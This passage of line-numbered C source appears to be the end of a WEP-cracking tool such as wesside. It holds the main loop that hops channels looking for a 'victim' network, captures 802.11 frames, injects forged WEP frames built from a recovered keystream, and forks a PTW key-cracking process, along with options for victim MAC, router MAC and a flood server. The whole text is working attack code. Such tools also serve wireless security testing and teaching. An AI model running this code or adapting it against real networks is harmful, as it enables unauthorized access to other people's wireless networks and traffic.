2144         crack_pid = fork();
2145
2146         if (crack_pid == -1)
2147                 err(1, "fork");
2148
2149         // child
2150         if (crack_pid == 0) {
2151                 if (!do_crack())
2152                         printf("\nCrack unsuccessful\n");
2153                 exit(1);
2154         }
2155
2156         // parent
2157         printf("\n");
2158         time_print("Starting crack PID=%d\n", crack_pid);
2159         if (gettimeofday(&crack_start, NULL) == -1)
2160                 err(1, "gettimeofday");
2161
2162
2163         wep_thresh += thresh_incr;
2164 }
2165
2166 void open_tap() {
2167         int s;
2168         struct ifreq ifr;
2169         unsigned int flags;
2170
2171         tapfd = open(TAP_DEV, O_RDWR);
2172         if (tapfd == -1) {
2173                 printf("Can't open tap: %s\n", strerror(errno));
2174                 exit(1);
2175         }
2176
2177         // Get TAP interface name
2178         memset(&ifr, 0, sizeof(ifr));
2179         if (ioctl(tapfd, TAPGIFNAME, &ifr) == -1) {
2180                 perror("ioctl(TAPGIFNAME)");
2181                 exit(1);
2182         }
2183         strlcpy(tapifname, ifr.ifr_name, IFNAMSIZ);
2184
2185         s = socket(PF_INET, SOCK_DGRAM, 0);
2186         if (s == -1) {
2187                 perror("socket()");
2188                 exit(1);
2189         }
2190
2191         // MTU
2192         memset(&ifr, 0, sizeof(ifr));
2193         strlcpy(ifr.ifr_name, tapifname, IFNAMSIZ);
2194         ifr.ifr_mtu = 1500;
2195         if (ioctl(s, SIOCSIFMTU, &ifr) == -1) {
2196                 perror("ioctl(SIOCSIFMTU)");
2197                 exit(1);
2198         }
2199
2200         // set iface up
2201         memset(&ifr, 0, sizeof(ifr));
2202         strlcpy(ifr.ifr_name, tapifname, IFNAMSIZ);
2203         if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
2204                 perror("ioctl(SIOCGIFFLAGS)");
2205                 exit(1);
2206         }
2207
2208         flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
2209         flags |= IFF_UP;
2210
2211         memset(&ifr, 0, sizeof(ifr));
2212         strlcpy(ifr.ifr_name, tapifname, IFNAMSIZ);
2213         ifr.ifr_flags = flags & 0xffff;
2214         ifr.ifr_flagshigh = flags >> 16;
2215         if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
2216                 perror("ioctl(SIOCSIFFLAGS)");
2217                 exit(1);
2218         }
2219
2220         close(s);
2221         time_print("Opened tap device: %s\n", tapifname);
2222 }
2223
2224 void read_tap() {
2225         unsigned char buf[4096];
2226         struct ether_header* eh;
2227         struct ieee80211_frame* wh;
2228         int rd;
2229         unsigned char* ptr, *body;
2230         int dlen;
2231
2232         rd = read(tapfd, buf, sizeof(buf));
2233         if (rd == -1) {
2234                 perror("read()");
2235                 exit(1);
2236         }
2237         dlen = rd - sizeof(*eh);
2238
2239         assert(dlen > 0);
2240
2241         if (dlen+8 > prgainfo.len) {
2242                 printf("\n");
2243                 // XXX lame message...
2244                 time_print("Sorry... want to send %d but only got %d prga\n",
2245                            dlen, prgainfo.len);
2246                 return;
2247
2248         }
2249
2250         if (taptx_len) {
2251                 printf("\n");
2252                 time_print("Sorry... overflow in TAP queue [of 1 packet =P] overwriting\n");
2253                 // XXX could not read instead and get rid of it in select...
2254         }
2255
2256         assert (rd < (sizeof(buf)-sizeof(*wh) - 8 - 8));
2257
2258         eh = (struct ether_header*) buf;
2259
2260         wh = (struct ieee80211_frame*) taptx;
2261         memset(wh, 0, sizeof(*wh));
2262         fill_basic(wh);
2263
2264         wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
2265         wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
2266
2267         memcpy(wh->i_addr2, eh->ether_shost, 6);
2268         memcpy(wh->i_addr3, eh->ether_dhost, 6);
2269
2270         body = (unsigned char*) wh + sizeof(*wh);
2271         ptr = body;
2272         ptr += 4; // iv
2273
2274         do_llc(ptr, ntohs(eh->ether_type));
2275         ptr += 8;
2276
2277         memcpy(ptr, &buf[sizeof(*eh)], dlen);
2278
2279         wepify(body, 8+dlen);
2280         taptx_len = sizeof(*wh) + 4 + 8 + dlen + 4;
2281
2282         assert (taptx_len < sizeof(taptx));
2283 }
2284
2285 int elapsedd(struct timeval *past, struct timeval *now)
2286 {
2287         int el;
2288
2289         el = now->tv_sec - past->tv_sec;
2290         assert(el >= 0);
2291         if (el == 0) {
2292                 el = now->tv_usec - past->tv_usec;
2293         } else {
2294                 el = (el - 1)*1000*1000;
2295                 el += 1000*1000-past->tv_usec;
2296                 el += now->tv_usec;
2297         }
2298
2299         return el;
2300 }
2301
2302 static unsigned char *get_80211(unsigned char **data, int *totlen, int *plen)
2303 {
2304 #define BIT(n)  (1<<(n))
2305         struct bpf_hdr *bpfh;
2306         struct ieee80211_radiotap_header *rth;
2307         uint32_t present;
2308         uint8_t rflags;
2309         void *ptr;
2310         static int nocrc = 0;
2311
2312         assert(*totlen);
2313
2314         /* bpf hdr */
2315         bpfh = (struct bpf_hdr*) (*data);
2316         assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
2317         *totlen -= bpfh->bh_hdrlen;
2318
2319         /* check if more packets */
2320         if ((int)bpfh->bh_caplen < *totlen) {
2321                 int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
2322                 int offset = BPF_WORDALIGN(tot);
2323
2324                 *data = (char*)bpfh + offset;
2325                 *totlen -= offset - tot; /* take into account align bytes */
2326         } else if ((int)bpfh->bh_caplen > *totlen)
2327                 abort();
2328
2329         *plen = bpfh->bh_caplen;
2330         *totlen -= bpfh->bh_caplen;
2331         assert(*totlen >= 0);
2332
2333         /* radiotap */
2334         rth = (struct ieee80211_radiotap_header*)
2335               ((char*)bpfh + bpfh->bh_hdrlen);
2336         /* XXX cache; drivers won't change this per-packet */
2337         /* check if FCS/CRC is included in packet */
2338         present = le32toh(rth->it_present);
2339         if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
2340                 if (present & BIT(IEEE80211_RADIOTAP_TSFT))
2341                         rflags = ((const uint8_t *)rth)[8];
2342                 else
2343                         rflags = ((const uint8_t *)rth)[0];
2344         } else
2345                 rflags = 0;
2346         *plen -= rth->it_len;
2347         assert(*plen > 0);
2348
2349         /* 802.11 CRC */
2350         if (nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) {
2351                 *plen -= IEEE80211_CRC_LEN;
2352                 nocrc = 1;
2353         }
2354
2355         ptr = (char*)rth + rth->it_len;
2356
2357         return ptr;
2358 #undef BIT
2359 }
2360
2361 static int read_packet(int fd, unsigned char *dst, int len)
2362 {
2363         static unsigned char buf[4096];
2364         static int totlen = 0;
2365         static unsigned char *next = buf;
2366         unsigned char *pkt;
2367         int plen;
2368
2369         assert(len > 0);
2370
2371         /* need to read more */
2372         if (totlen == 0) {
2373                 totlen = read(fd, buf, sizeof(buf));
2374                 if (totlen == -1) {
2375                         totlen = 0;
2376                         return -1;
2377                 }
2378                 next = buf;
2379         }
2380
2381         /* read 802.11 packet */
2382         pkt = get_80211(&next, &totlen, &plen);
2383         if (plen > len)
2384                 plen = len;
2385         assert(plen > 0);
2386         memcpy(dst, pkt, plen);
2387
2388         return plen;
2389 }
2390
2391 void own(int wifd) {
2392         unsigned char buf[4096];
2393         int rd;
2394         fd_set rfd;
2395         struct timeval tv;
2396         char *pbar = "/-\\|";
2397         char *pbarp = &pbar[0];
2398         struct timeval lasthop;
2399         struct timeval now;
2400         unsigned int last_wep_count = 0;
2401         struct timeval last_wcount;
2402         struct timeval last_status;
2403         int fd;
2404         int largest;
2405
2406         weplog.fd = open(WEP_FILE, O_WRONLY | O_APPEND);
2407         if (weplog.fd == -1) {
2408                 struct pcap_file_header pfh;
2409
2410                 memset(&pfh, 0, sizeof(pfh));
2411                 pfh.magic           = TCPDUMP_MAGIC;
2412                 pfh.version_major   = PCAP_VERSION_MAJOR;
2413                 pfh.version_minor   = PCAP_VERSION_MINOR;
2414                 pfh.thiszone        = 0;
2415                 pfh.sigfigs         = 0;
2416                 pfh.snaplen         = 65535;
2417                 pfh.linktype        = LINKTYPE_IEEE802_11;
2418
2419                 weplog.fd = open(WEP_FILE, O_WRONLY | O_CREAT,
2420                                  S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
2421                 if (weplog.fd != -1) {
2422                         if (write(weplog.fd, &pfh, sizeof(pfh)) != sizeof(pfh))
2423                                 err(1, "write()");
2424                 }
2425         }
2426         else {
2427                 time_print("WARNING: Appending in %s\n", WEP_FILE);
2428         }
2429
2430         if (weplog.fd == -1) {
2431                 perror("open()");
2432                 exit(1);
2433         }
2434
2435         fd = open(PRGA_FILE, O_RDONLY);
2436         if (fd != -1) {
2437                 time_print("WARNING: reading prga from %s\n", PRGA_FILE);
2438                 rd = read(fd, buf, sizeof(buf));
2439                 if (rd == -1) {
2440                         perror("read()");
2441                         exit(1);
2442                 }
2443                 if (rd >= 8) {
2444                         set_prga(buf, NULL, &buf[3], rd - 3);
2445                 }
2446
2447                 close(fd);
2448         }
2449
2450         fd = open(DICT_PATH, O_RDONLY);
2451         if (fd == -1) {
2452                 time_print("Creating dictionary directory (%s)\n", DICT_PATH);
2453                 if (mkdir (DICT_PATH, 0755) == -1) {
2454                         perror("mkdir()");
2455                         exit(1);
2456                 }
2457         }
2458         else
2459                 close(fd);
2460
2461         open_tap();
2462         set_if_mac(mymac, tapdev);
2463         time_print("Set tap MAC to: %s\n", mac2str(mymac));
2464
2465         if (tapfd > wifd)
2466                 largest = tapfd;
2467         else
2468                 largest = wifd;
2469
2470         if (signal(SIGINT, &cleanup) == SIG_ERR) {
2471                 perror("signal()");
2472                 exit(1);
2473         }
2474         if (signal (SIGTERM, &cleanup) == SIG_ERR) {
2475                 perror("signal()");
2476                 exit(1);
2477         }
2478
2479         time_print("Looking for a victim...\n");
2480         if (gettimeofday(&lasthop, NULL) == -1) {
2481                 perror("gettimeofday()");
2482                 exit(1);
2483         }
2484
2485         memcpy(&last_wcount, &lasthop, sizeof(last_wcount));
2486         memcpy(&last_status, &lasthop, sizeof(last_status));
2487
2488         while (1) {
2489                 if (gettimeofday(&now, NULL) == -1) {
2490                         perror("gettimeofday()");
2491                         exit(1);
2492                 }
2493
2494                 /* check for relay timeout */
2495                 if (fragstate.waiting_relay) {
2496                         int el;
2497
2498                         el = now.tv_sec - fragstate.last.tv_sec;
2499                         assert (el >= 0);
2500                         if (el == 0) {
2501                                 el = now.tv_usec - fragstate.last.tv_usec;
2502                         } else {
2503                                 el--;
2504
2505                                 el *= 1000*1000;
2506                                 el += 1000*1000 - fragstate.last.tv_usec;
2507                                 el += now.tv_usec;
2508
2509                                 if (el > (1500*1000)) {
2510 //                                      printf("\nLAMER timeout\n\n");
2511                                         free(fragstate.data);
2512                                         fragstate.data = 0;
2513                                 }
2514                         }
2515                 }
2516
2517                 /* check for arp timeout */
2518                 if (rtrmac == (unsigned char*) 1) {
2519                         int el;
2520
2521                         el = elapsedd(&arpsend, &now);
2522                         if (el >= (1500*1000)) {
2523                                 rtrmac = 0;
2524                         }
2525                 }
2526
2527                 // status bar
2528                 if ( (now.tv_sec > last_status.tv_sec ) ||
2529                      ( now.tv_usec - last_status.tv_usec > 100*1000)) {
2530                         if (crack_pid && (now.tv_sec > last_status.tv_sec)) {
2531                                 check_key();
2532                         }
2533                         if (netip && prgainfo.len >= min_prga &&
2534                             rtrmac > (unsigned char*) 1) {
2535                                 time_print("WEP=%.9d (next crack at %d) IV=%.2x:%.2x:%.2x (rate=%d)         \r",
2536                                        weplog.packets, wep_thresh,
2537                                        weplog.iv[0], weplog.iv[1], weplog.iv[2],
2538                                        weplog.rate);
2539                                 fflush(stdout);
2540                         }
2541                         else {
2542                                 if (state == FIND_VICTIM)
2543                                         time_print("Chan %.02d %c\r", chaninfo.chan, *pbarp);
2544                                 else if (decryptstate.cipher) {
2545                                         int pos = decryptstate.prgainfo.len - 1;
2546                                         unsigned char prga = decryptstate.prgainfo.prga[pos];
2547                                         assert(pos);
2548
2549                                         time_print("Guessing PRGA %.2x (IP byte=%d)    \r",
2550                                                    prga, decryptstate.cipher[pos] ^ prga);
2551                                 }
2552                                 else
2553                                         time_print("%c\r", *pbarp);
2554                                 fflush(stdout);
2555                         }
2556                         memcpy(&last_status, &now,sizeof(last_status));
2557                 }
2558
2559                 // check if we are cracking
2560                 if (crack_pid) {
2561                         if (now.tv_sec - crack_start.tv_sec >= crack_dur)
2562                                 kill_crack();
2563                 }
2564
2565                 // check TX  / retransmit
2566                 if (txstate.waiting_ack) {
2567                         unsigned int elapsed = now.tv_sec -
2568                                                txstate.tsent.tv_sec;
2569                         elapsed *= 1000*1000;
2570                         elapsed += (now.tv_usec - txstate.tsent.tv_usec);
2571
2572                         if (elapsed >= ack_timeout)
2573                                 send_frame(wifd, NULL, -1);
2574                 }
2575
2576                 // INPUT
2577                 // select
2578                 FD_ZERO(&rfd);
2579                 FD_SET(wifd, &rfd);
2580                 FD_SET(tapfd, &rfd);
2581                 tv.tv_sec = 0;
2582                 tv.tv_usec = 1000*10;
2583                 rd = select(largest+1, &rfd, NULL, NULL, &tv);
2584                 if (rd == -1) {
2585                         perror("select()");
2586                         exit(1);
2587                 }
2588
2589                 // read
2590                 if (rd != 0) {
2591                         // wifi
2592                         if (FD_ISSET(wifd, &rfd)) {
2593                                 rd = read_packet(wifd, buf, sizeof(buf));
2594                                 if (rd == 0)
2595                                         return;
2596                                 if (rd == -1) {
2597                                         perror("read()");
2598                                         exit(1);
2599                                 }
2600
2601                                 pbarp++;
2602                                 if(!(*pbarp))
2603                                         pbarp = &pbar[0];
2604                                 // input
2605                                 anal(buf, rd, wifd);
2606                         }
2607
2608                         // tap
2609                         if (FD_ISSET(tapfd, &rfd)) {
2610                                 read_tap();
2611                         }
2612                 }
2613
2614                 // check state and what we do next.
2615                 if (state == FIND_VICTIM) {
2616                         if (now.tv_sec > lasthop.tv_sec ||
2617                             ( (now.tv_usec - lasthop.tv_usec) >= 300*1000 )) {
2618                                 int chan = chaninfo.chan;
2619                                 chan++;
2620
2621                                 if(chan > max_chan)
2622                                         chan = 1;
2623
2624                                 set_chan(chan);
2625                                 memcpy(&lasthop, &now, sizeof(lasthop));
2626                         }
2627                 } else {
2628                 // check if we need to write something...
2629                         if (!txstate.waiting_ack)
2630                                 can_write(wifd);
2631
2632                         // roughly!
2633
2634 #ifdef MORE_ACCURATE
2635                         if ( (now.tv_sec - last_wcount.tv_sec) >= 2) {
2636                                 unsigned int elapsed;
2637                                 int secs;
2638                                 int packetz = weplog.packets - last_wep_count;
2639                                 elapsed = 1000*1000;
2640
2641                                 elapsed -= last_wcount.tv_usec;
2642
2643                                 assert(elapsed >= 0);
2644                                 elapsed += now.tv_usec;
2645
2646                                 secs = now.tv_sec - last_wcount.tv_sec;
2647                                 secs--;
2648                                 if (secs > 0)
2649                                         elapsed += (secs*1000*1000);
2650
2651                                 weplog.rate = (int)
2652                                 ((double)packetz/(elapsed/1000.0/1000.0));
2653 #else
2654                         if ( now.tv_sec > last_wcount.tv_sec) {
2655                                 weplog.rate = weplog.packets - last_wep_count;
2656 #endif
2657                                 last_wep_count = weplog.packets;
2658                                 memcpy(&last_wcount, &now, sizeof(now));
2659
2660                                 if (wep_thresh != -1 && weplog.packets > wep_thresh)
2661                                         try_crack();
2662                         }
2663                 }
2664         }
2665 }
2666
2667 void start(char *dev) {
2668         int fd;
2669
2670         setup_if(dev);
2671
2672         fd = open_bpf(dev, DLT_IEEE802_11_RADIO);
2673
2674         ptw = PTW_newattackstate();
2675         if (!ptw)
2676                 err(1, "PTW_newattackstate()");
2677
2678         own(fd);
2679
2680 #if 0
2681         {
2682                 int i;
2683                 struct timeval tv;
2684                 set_chan(11);
2685                 for (i = 0; i < 10; i++) {
2686                         gettimeofday(&tv, NULL);
2687
2688                         send_ack(tx);
2689 //                      usleep(500);
2690                         printf("%lu\n", tv.tv_usec);
2691                 }
2692         }
2693 #endif
2694
2695         close(fd);
2696         close(tapfd);
2697 }
2698
2699 void usage(char* pname) {
2700         printf("Usage: %s <opts>\n", pname);
2701         printf("-h\t\tthis lame message\n");
2702         printf("-i\t\t<iface>\n");
2703         printf("-s\t\t<flood server ip>\n");
2704         printf("-m\t\t<my ip>\n");
2705         printf("-n\t\t<net ip>\n");
2706         printf("-r\t\t<rtr mac>\n");
2707         printf("-a\t\t<mymac>\n");
2708         printf("-c\t\tdo not crack\n");
2709         printf("-p\t\t<min prga>\n");
2710         printf("-4\t\t64 bit key\n");
2711         printf("-v\t\tvictim mac\n");
2712         printf("-t\t\t<crack thresh>\n");
2713         printf("-f\t\t<max chan>\n");
2714         exit(0);
2715 }
2716
2717 void str2mac(unsigned char* dst, unsigned char* mac) {
2718         unsigned int macf[6];
2719         int i;
2720
2721         if( sscanf(mac, "%x:%x:%x:%x:%x:%x",
2722                    &macf[0], &macf[1], &macf[2],
2723                    &macf[3], &macf[4], &macf[5]) != 6) {
2724
2725                    printf("can't parse mac %s\n", mac);
2726                    exit(1);
2727         }
2728
2729         for (i = 0; i < 6; i++)
2730                 *dst++ = (unsigned char) macf[i];
2731 }
2732
2733 int main(int argc, char *argv[]) {
2734         unsigned char* dev = "ath0";
2735         unsigned char rtr[6];
2736         unsigned char vic[6];
2737
2738         int ch;
2739
2740         if (gettimeofday(&real_start, NULL) == -1) {
2741                 perror("gettimeofday()");
2742                 exit(1);
2743         }
2744
2745         chaninfo.s = -1;
2746         victim.ssid = NULL;
2747         prgainfo.len = 0;
2748
2749         memset(&txstate, 0, sizeof(txstate));
2750         memset(&fragstate, 0, sizeof(fragstate));
2751         memset(&decryptstate, 0, sizeof(decryptstate));
2752         memset(&weplog, 0, sizeof(weplog));
2753
2754         state = FIND_VICTIM;
2755
2756         while ((ch = getopt(argc, argv, "hi:s:m:r:a:n:cp:4v:t:f:")) != -1) {
2757                 switch (ch) {
2758                         case 'a':
2759                                 str2mac(mymac, optarg);
2760                                 break;
2761
2762                         case 's':
2763                                 floodip = optarg;
2764                                 break;
2765
2766                         case 'i':
2767                                 dev = optarg;
2768                                 break;
2769
2770                         case 'm':
2771                                 strncpy(myip, optarg, sizeof(myip)-1);
2772                                 myip[sizeof(myip)-1] = 0;
2773                                 break;
2774
2775                         case 'n':
2776                                 netip = optarg;
2777                                 netip_arg = 1;
2778                                 break;
2779
2780                         case 'r':
2781                                 str2mac(rtr, optarg);
2782                                 rtrmac = rtr;
2783                                 break;
2784
2785                         case 'v':
2786                                 str2mac(vic, optarg);
2787                                 victim_mac = vic;
2788                                 break;
2789
2790                         case 'c':
2791                                 wep_thresh = -1;
2792                                 break;
2793
2794                         case 'p':
2795                                 min_prga = atoi(optarg);
2796                                 break;
2797
2798                         case 't':
2799                                 thresh_incr = wep_thresh = atoi(optarg);
2800                                 break;
2801
2802                         case 'f':
2803                                 max_chan = atoi(optarg);
2804                                 break;
2805
2806                         case '4':
2807                                 bits = 64;
2808                                 break;
2809
2810                         default:
2811                                 usage(argv[0]);
2812                                 break;
2813                 }
2814         }
2815
2816         start(dev);
2817
2818         if(chaninfo.s != -1)
2819                 close(chaninfo.s);
2820         if(victim.ssid)
2821                 free(victim.ssid);
2822         exit(0);
2823 }